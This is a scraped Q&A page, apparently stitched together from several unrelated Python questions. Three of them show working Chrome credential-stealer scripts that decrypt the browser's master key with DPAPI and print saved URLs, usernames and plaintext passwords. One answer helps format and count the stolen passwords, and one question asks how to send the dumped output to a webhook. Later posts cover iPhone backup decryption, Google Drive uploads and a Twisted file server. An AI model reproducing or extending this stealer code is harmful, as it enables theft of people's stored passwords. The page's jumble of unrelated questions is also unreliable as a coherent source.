Python how to remove unnecessary prints - python

Hello Im new at python and i want remove junk prints in my code (I have indicated the problem in the picture.):
import os
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil
#ChromeDecoder
print("--------------------| Google Chrome |--------------------")
def get_master_key():
with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Local
State', "r", encoding='utf-8') as f:
local_state = f.read()
local_state = json.loads(local_state)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key = master_key[5:] # removing DPAPI
master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
def decrypt_payload(cipher, payload):
return cipher.decrypt(payload)
def generate_cipher(aes_key, iv):
return AES.new(aes_key, AES.MODE_GCM, iv)
def decrypt_password(buff, master_key):
try:
iv = buff[3:15]
payload = buff[15:]
cipher = generate_cipher(master_key, iv)
decrypted_pass = decrypt_payload(cipher, payload)
decrypted_pass = decrypted_pass[:-16].decode() # remove suffix bytes
return decrypted_pass
except Exception as e:
# print("Probably saved password from Chrome version older than v80\n")
# print(str(e))
return "Chrome < 80"
if __name__ == '__main__':
master_key = get_master_key()
login_db = os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User
Data\default\Login Data'
shutil.copy2(login_db, "Loginvault.db") #making a temp copy since Login Data DB is locked
while Chrome is running
conn = sqlite3.connect("Loginvault.db")
cursor = conn.cursor()
try:
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for r in cursor.fetchall():
url = r[0]
username = r[1]
encrypted_password = r[2]
decrypted_password = decrypt_password(encrypted_password, master_key)
print("[+] Password Found !!!" + "\n" +"URL: " + url + "\nUser Name: " + username + "\nPassword: " + decrypted_password + "\n")
except Exception as e:
pass
cursor.close()
conn.close()
try:
os.remove("Loginvault.db")
except Exception as e:
pass
Its works but i have a problem:
enter image description here
I see so much spaces and how i can remove them?
Also is there a way to count found passwords in this format?
print("[+] 100 passwords have been found.")
Sorry for bad English... Thank you.

You can check for empty str also f"text {variable}" is much better for reading.If you want check other values just ad and var != ""
if url != "":
print(f"[+] Password Found !!!\nURL: {url}\nUser Name: {username}\nPassword: {decrypted_password}\n")
2:
before for loop ad count=0
and in loop into if url != "": ad
count += 1

Related

The pip commands to install modules are not working

I have use the pip commands to install win32crypt, but when I execute the code the I get this error
Message=No module named 'win32crypt'
Source=C:\Users\sheaf\source\repos\Password Puller\Password Puller\Password_Puller.py
StackTrace:
File "C:\Users\sheaf\source\repos\Password Puller\Password Puller\Password_Puller.py", line 5, in (Current frame)
import win32crypt
I have tried this on Python 3.7 32 bit, 3.7 64 bit, and 3.9 64 bit and none of them work. Below is the code I am trying to execute.
import os
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
import shutil
from datetime import timezone, datetime, timedelta
def chrome_date_and_time(chrome_data):
# Chrome_data format is 'year-month-date
# hr:mins:seconds.milliseconds
# This will return datetime.datetime Object
return datetime(1601, 1, 1) + timedelta(microseconds=chrome_data)
def fetching_encryption_key():
# Local_computer_directory_path will look
# like this below
# C: => Users => <Your_Name> => AppData =>
# Local => Google => Chrome => User Data =>
# Local State
local_computer_directory_path = os.path.join(
os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome",
"User Data", "Local State")
with open(local_computer_directory_path, "r", encoding="utf-8") as f:
local_state_data = f.read()
local_state_data = json.loads(local_state_data)
# decoding the encryption key using base64
encryption_key = base64.b64decode(
local_state_data["os_crypt"]["encrypted_key"])
# remove Windows Data Protection API (DPAPI) str
encryption_key = encryption_key[5:]
# return decrypted key
return win32crypt.CryptUnprotectData(encryption_key, None, None, None, 0)[1]
def password_decryption(password, encryption_key):
try:
iv = password[3:15]
password = password[15:]
# generate cipher
cipher = AES.new(encryption_key, AES.MODE_GCM, iv)
# decrypt password
return cipher.decrypt(password)[:-16].decode()
except:
try:
return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
except:
return "No Passwords"
def main():
key = fetching_encryption_key()
db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
"Google", "Chrome", "User Data", "default", "Login Data")
filename = "ChromePasswords.db"
shutil.copyfile(db_path, filename)
# connecting to the database
db = sqlite3.connect(filename)
cursor = db.cursor()
# 'logins' table has the data
cursor.execute(
"select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins "
"order by date_last_used")
# iterate over all rows
for row in cursor.fetchall():
main_url = row[0]
login_page_url = row[1]
user_name = row[2]
decrypted_password = password_decryption(row[3], key)
date_of_creation = row[4]
last_usuage = row[5]
if user_name or decrypted_password:
print(f"Main URL: {main_url}")
print(f"Login URL: {login_page_url}")
print(f"User name: {user_name}")
print(f"Decrypted Password: {decrypted_password}")
else:
continue
if date_of_creation != 86400000000 and date_of_creation:
print(f"Creation date: {str(chrome_date_and_time(date_of_creation))}")
if last_usuage != 86400000000 and last_usuage:
print(f"Last Used: {str(chrome_date_and_time(last_usuage))}")
print("=" * 100)
cursor.close()
db.close()
try:
# trying to remove the copied db file as
# well from local computer
os.remove(filename)
except:
pass
if __name__ == "__main__":
main()

How do I send a LOG output to a webhook?

How do I send these log outputs to a webhook? Script below (Python 3.9). I have successfully changed the print output to log outputs, and the code works, however, I need the output to be able to be sent to a webhook.
import os
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
import shutil
from datetime import timezone, datetime, timedelta
import logging
# Get the top-level logger object
log = logging.getLogger()
# make it print to the console.
console = logging.StreamHandler()
log.addHandler(console)
def chrome_date_and_time(chrome_data):
# Chrome_data format is 'year-month-date
# hr:mins:seconds.milliseconds
# This will return datetime.datetime Object
return datetime(1601, 1, 1) + timedelta(microseconds=chrome_data)
def fetching_encryption_key():
# Local_computer_directory_path will look
# like this below
# C: => Users => <Your_Name> => AppData =>
# Local => Google => Chrome => User Data =>
# Local State
local_computer_directory_path = os.path.join(
os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome",
"User Data", "Local State")
with open(local_computer_directory_path, "r", encoding="utf-8") as f:
local_state_data = f.read()
local_state_data = json.loads(local_state_data)
# decoding the encryption key using base64
encryption_key = base64.b64decode(
local_state_data["os_crypt"]["encrypted_key"])
# remove Windows Data Protection API (DPAPI) str
encryption_key = encryption_key[5:]
# return decrypted key
return win32crypt.CryptUnprotectData(encryption_key, None, None, None, 0)[1]
def password_decryption(password, encryption_key):
try:
iv = password[3:15]
password = password[15:]
# generate cipher
cipher = AES.new(encryption_key, AES.MODE_GCM, iv)
# decrypt password
return cipher.decrypt(password)[:-16].decode()
except:
try:
return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
except:
return "No Passwords"
def main():
key = fetching_encryption_key()
db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
"Google", "Chrome", "User Data", "default", "Login Data")
filename = "ChromePasswords.db"
shutil.copyfile(db_path, filename)
# connecting to the database
db = sqlite3.connect(filename)
cursor = db.cursor()
# 'logins' table has the data
cursor.execute(
"select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins "
"order by date_last_used")
# iterate over all rows
for row in cursor.fetchall():
main_url = row[0]
login_page_url = row[1]
user_name = row[2]
decrypted_password = password_decryption(row[3], key)
date_of_creation = row[4]
last_usuage = row[5]
if user_name or decrypted_password:
log.warn(f"Main URL: {main_url}")
log.warn(f"Login URL: {login_page_url}")
log.warn(f"User name: {user_name}")
log.warn(f"Decrypted Password: {decrypted_password}")
else:
continue
if date_of_creation != 86400000000 and date_of_creation:
log.warn(f"Creation date: {str(chrome_date_and_time(date_of_creation))}")
if last_usuage != 86400000000 and last_usuage:
log.warn(f"Last Used: {str(chrome_date_and_time(last_usuage))}")
log.warn("=" * 100)
cursor.close()
db.close()
try:
# trying to remove the copied db file as
# well from local computer
os.remove(filename)
except:
pass
if __name__ == "__main__":
main()
Thank you for helping and anyhting helps. If there is anyway to combine these logout puts into less code please tell me too.

How to decrypt and encrypt iphone backup using python IOS 10.1.1?

So I'm getting closer, but I can't seem to get this line of code to work just yet: key = manifest["kb"].unwrapKeyForClass(record.protection_class, record.encryption_key[4:])
Attached is the code I have so far, but I still can't wrap my head where to find this information within the backup. Hoping someone can point me in the right direction.
from hashlib import md5
from Crypto.Cipher import AES
from Crypto import Random
import os
import re
import sqlite3
from keystore.keybag import Keybag
from util import readPlist, makedirs
import sys
import plistlib
showinfo = ["Device Name", "Display Name", "Last Backup Date", "IMEI",
"Serial Number", "Product Type", "Product Version", "iTunes Version"]
def extract_backup(backup_path, output_path, password=""):
if not os.path.exists(backup_path + "/Manifest.plist"):
print "Manifest.plist not found"
return
manifest = readPlist(backup_path + "/Manifest.plist")
info = readPlist( backup_path + "/Info.plist")
for i in showinfo:
print i + " : " + unicode(info.get(i, "missing"))
print "Extract backup to %s ? (y/n)" % output_path
if raw_input() == "n":
return
print "Backup is %sencrypted" % (int(not manifest["IsEncrypted"]) * "not ")
if manifest["IsEncrypted"] and password == "":
print "Enter backup password : "
password = raw_input()
if (manifest["IsEncrypted"]):
manifest["password"] = password
manifest["kb"] = Keybag.createWithBackupManifest(manifest, password)
makedirs(output_path)
plistlib.writePlist(manifest, output_path + "/Manifest.plist")
decrypt_backup10(backup_path, output_path, manifest)
def extract_all():
if sys.platform == "win32":
mobilesync = os.environ["APPDATA"] + "/Apple Computer/MobileSync/Backup/"
elif sys.platform == "darwin":
mobilesync = os.environ["HOME"] + "/Library/Application Support/MobileSync/Backup/"
else:
print "Unsupported operating system"
return
print "-" * 60
print "Searching for iTunes backups"
print "-" * 60
for udid in os.listdir(mobilesync):
extract_backup(mobilesync + "/" + udid, udid + "_extract")
def decrypt_backup10(backup_path, output_path, manifest):
connection = sqlite3.connect(backup_path + "/Manifest.db")
try:
connection.row_factory = sqlite3.Row
cursor = connection.cursor()
for record in cursor.execute("SELECT * FROM Files"):
extract_file(backup_path, output_path, record, manifest, kb)
except:
connection.close()
def extract_file(backup_path, output_path, record, manifest):
# read backup file
try:
fileID = record["fileID"]
filename = os.path.join(backup_path, fileID[:2], fileID)
f1 = file(filename, "rb")
print(filename)
except(IOError), e:
#print(e)
print "WARNING: File %s (%s) has not been found" % (filename, record["relativePath"])
return
# write output file
output_path = os.path.join(output_path, fileID[:2], fileID)
ensure_dir_exists(output_path)
print("Writing %s" % output_path)
f2 = file(output_path, 'wb')
aes = None
if manifest["IsEncrypted"] and manifest["kb"]:
key = manifest["kb"].unwrapKeyForClass(record.protection_class, record.encryption_key[4:])
if not key:
warn("Cannot unwrap key")
return
aes = AES.new(key, AES.MODE_CBC, "\x00"*16)
while True:
data = f1.read(8192)
if not data:
break
if aes:
data2 = data = aes.decrypt(data)
f2.write(data)
f1.close()
if aes:
c = data2[-1]
i = ord(c)
if i < 17 and data2.endswith(c*i):
f2.truncate(f2.tell() - i)
else:
warn("Bad padding, last byte = 0x%x !" % i)
f1.close()
f2.close()
def ensure_dir_exists(filename):
if not os.path.exists(os.path.dirname(filename)):
os.makedirs(os.path.dirname(filename))
def main():
extract_backup(input, output, password)
if __name__ == "__main__":
main()

Upload document to GDrive with overwrite mode with python

I can upload document to GDrive, but I want it work in overwrite mode, which means the second time upload will overwrite the same file.
Code snippet as below:
import subprocess
import re
import gdata.client, gdata.docs.client, gdata.docs.data
import atom.data
import os
import time
#----------------------------------------#
def main():
filename = "test.xls"
mimetype = "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"
username = "mymail#gmail.com"
password = "mypassword"
upload_gdoc(filename,mimetype,username,password)
return
def upload_gdoc(filename,mimetype,username,password):
try:
fdin = open(filename)
except IOError, e:
print 'ERROR: Unable to open ' + filename + ': ' + e[1]
return
file_size = os.path.getsize(fdin.name)
docsclient = gdata.docs.client.DocsClient()
try:
docsclient.ClientLogin(username, password, docsclient.source);
except (gdata.client.BadAuthentication, gdata.client.Error), e:
print 'ERROR: ' + str(e)
return
except:
print 'ERROR: Unable to login'
return
# The default root collection URI
uri = 'https://docs.google.com/feeds/upload/create-session/default/private/full'
uri += '?convert=true'
t1 = time.time()
uploader = gdata.client.ResumableUploader(docsclient,fdin,mimetype,file_size,chunk_size=1048576,desired_class=gdata.data.GDEntry)
new_entry = uploader.UploadFile(uri,entry=gdata.data.GDEntry(title=atom.data.Title(text=os.path.basename(fdin.name))))
t2 = time.time()
print 'Uploaded', '{0:.2f}'.format(file_size / 1024.0 / 1024.0) + ' MiB in ' + str(round(t2 - t1, 2)) + ' secs'
fdin.close()
return
if __name__ == "__main__":
main()
Now each time upload, it will create a new file with the same file name.

Check server status on Twisted

While I was writing simple message-based fileserver and client, I got the idea about checking fileserver status, but don't know how to realize this: just try to connect and disconnect from server (and how disconnect immediately, when server is not running, if using this way?) or maybe twisted/autobahn have some things, which help to get server status without creating "full connection"?
a) fileserver.py
import os
import sys
import json
from twisted.internet import reactor
from autobahn.twisted.websocket import WebSocketServerFactory, WebSocketServerProtocol, listenWS
CONFIG_TEMPLATE = ''
CONFIG_DATA = {}
class MessageBasedServerProtocol(WebSocketServerProtocol):
"""
Message-based WebSockets server
Template contains some parts as string:
[USER_ID:OPERATION_NAME:FILE_ID] - 15 symbols for USER_ID,
10 symbols for OPERATION_NAME,
25 symbols for FILE_ID
other - some data
"""
def __init__(self):
path = CONFIG_DATA['path']
base_dir = CONFIG_DATA['base_dir']
# prepare to working with files...
if os.path.exists(path) and os.path.isdir(path):
os.chdir(path)
if not os.path.exists(base_dir) or not os.path.isdir(base_dir):
os.mkdir(base_dir)
os.chdir(base_dir)
else:
os.makedir(path)
os.chdir(path)
os.mkdir(base_dir)
os.chdir(base_dir)
# init some things
self.fullpath = path + '/' + base_dir
def __checkUserCatalog(self, user_id):
# prepare to working with files...
os.chdir(self.fullpath)
if not os.path.exists(user_id) or not os.path.isdir(user_id):
os.mkdir(user_id)
os.chdir(user_id)
else:
os.chdir(self.fullpath + '/' + user_id)
def onOpen(self):
print "[USER] User with %s connected" % (self.transport.getPeer())
def connectionLost(self, reason):
print '[USER] Lost connection from %s' % (self.transport.getPeer())
def onMessage(self, payload, isBinary):
"""
Processing request from user and send response
"""
user_id, cmd, file_id = payload[:54].replace('[', '').replace(']','').split(':')
data = payload[54:]
operation = "UNK" # WRT - Write, REA -> Read, DEL -> Delete, UNK -> Unknown
status = "C" # C -> Complete, E -> Error in operation
commentary = 'Succesfull!'
# write file into user storage
if cmd == 'WRITE_FILE':
self.__checkUserCatalog(user_id)
operation = "WRT"
try:
f = open(file_id, "wb")
f.write(data)
except IOError, argument:
status = "E"
commentary = argument
except Exception, argument:
status = "E"
commentary = argument
raise Exception(argument)
finally:
f.close()
# read some file
elif cmd == 'READU_FILE':
self.__checkUserCatalog(user_id)
operation = "REA"
try:
f = open(file_id, "rb")
commentary = f.read()
except IOError, argument:
status = "E"
commentary = argument
except Exception, argument:
status = "E"
commentary = argument
raise Exception(argument)
finally:
f.close()
# delete file from storage (and in main server, in parallel delete from DB)
elif cmd == 'DELET_FILE':
self.__checkUserCatalog(user_id)
operation = "DEL"
try:
os.remove(file_id)
except IOError, argument:
status = "E"
commentary = argument
except Exception, argument:
status = "E"
commentary = argument
raise Exception(argument)
self.sendMessage('[%s][%s]%s' % (operation, status, commentary), isBinary=True)
if __name__ == '__main__':
if len(sys.argv) < 2:
print "using python fileserver_client.py [PATH_TO_config.json_FILE]"
else:
# read config file
CONFIG_TEMPLATE = sys.argv[1]
with open(CONFIG_TEMPLATE, "r") as f:
CONFIG_DATA = json.load(f)
# create server
factory = WebSocketServerFactory("ws://localhost:9000")
factory.protocol = MessageBasedServerProtocol
listenWS(factory)
reactor.run()
b) client.py
import json
import sys
import commands
from twisted.internet import reactor
from autobahn.twisted.websocket import WebSocketClientFactory, WebSocketClientProtocol, connectWS
CONFIG_TEMPLATE = ''
CONFIG_DATA = {}
class MessageBasedClientProtocol(WebSocketClientProtocol):
"""
Message-based WebSockets client
Template contains some parts as string:
[USER_ID:OPERATION_NAME:FILE_ID] - 15 symbols for USER_ID,
10 symbols for OPERATION_NAME,
25 symbols for FILE_ID
other - some data
"""
def onOpen(self):
user_id = CONFIG_DATA['user']
operation_name = CONFIG_DATA['cmd']
file_id = CONFIG_DATA['file_id']
src_file = CONFIG_DATA['src_file']
data = '[' + str(user_id) + ':' + str(operation_name) + ':' + str(file_id) + ']'
if operation_name == 'WRITE_FILE':
with open(src_file, "r") as f:
info = f.read()
data += str(info)
self.sendMessage(data, isBinary=True)
def onMessage(self, payload, isBinary):
cmd = payload[1:4]
result_cmd = payload[6]
if cmd in ('WRT', 'DEL'):
print payload
elif cmd == 'REA':
if result_cmd == 'C':
try:
data = payload[8:]
f = open(CONFIG_DATA['src_file'], "wb")
f.write(data)
except IOError, e:
print e
except Exception, e:
raise Exception(e)
finally:
print payload[:8] + "Successfully!"
f.close()
else:
print payload
reactor.stop()
if __name__ == '__main__':
if len(sys.argv) < 2:
print "using python fileserver_client.py [PATH_TO_config.json_FILE]"
else:
# read config file
CONFIG_TEMPLATE = sys.argv[1]
with open(CONFIG_TEMPLATE, "r") as f:
CONFIG_DATA = json.load(f)
# connection to server
factory = WebSocketClientFactory("ws://localhost:9000")
factory.protocol = MessageBasedClientProtocol
connectWS(factory)
reactor.run()
Find solution this issue: using callLater or deferLater for disconnect from server, if can't connect, but when all was 'OK', just take server status, which he says.
import sys
from twisted.internet.task import deferLater
from twisted.internet import reactor
from autobahn.twisted.websocket import WebSocketClientFactory, WebSocketClientProtocol, connectWS
CONFIG_IP = ''
CONFIG_PORT = 9000
def isOffline(status):
print status
class StatusCheckerProtocol(WebSocketClientProtocol):
def __init__(self):
self.operation_name = "STATUS_SRV"
self.user_id = 'u00000000000000'
self.file_id = "000000000000000000000.log"
def onOpen(self):
data = '[' + str(self.user_id) + ':' + str(self.operation_name) + ':' + str(self.file_id) + ']'
self.sendMessage(data, isBinary=True)
def onMessage(self, payload, isBinary):
cmd = payload[1:4]
result_cmd = payload[6]
data = payload[8:]
print data
reactor.stop()
if __name__ == '__main__':
if len(sys.argv) < 3:
print "using python statuschecker.py [IP] [PORT]"
else:
# read preferences
CONFIG_IP = sys.argv[1]
CONFIG_PORT = int(sys.argv[2])
server_addr = "ws://%s:%d" % (CONFIG_IP, CONFIG_PORT)
# connection to server
factory = WebSocketClientFactory(server_addr)
factory.protocol = StatusCheckerProtocol
connectWS(factory)
# create special Deffered, which disconnect us from some server, if can't connect within 3 seconds
d = deferLater(reactor, 3, isOffline, 'OFFLINE')
d.addCallback(lambda ignored: reactor.stop())
# run all system...
reactor.run()

Categories

Resources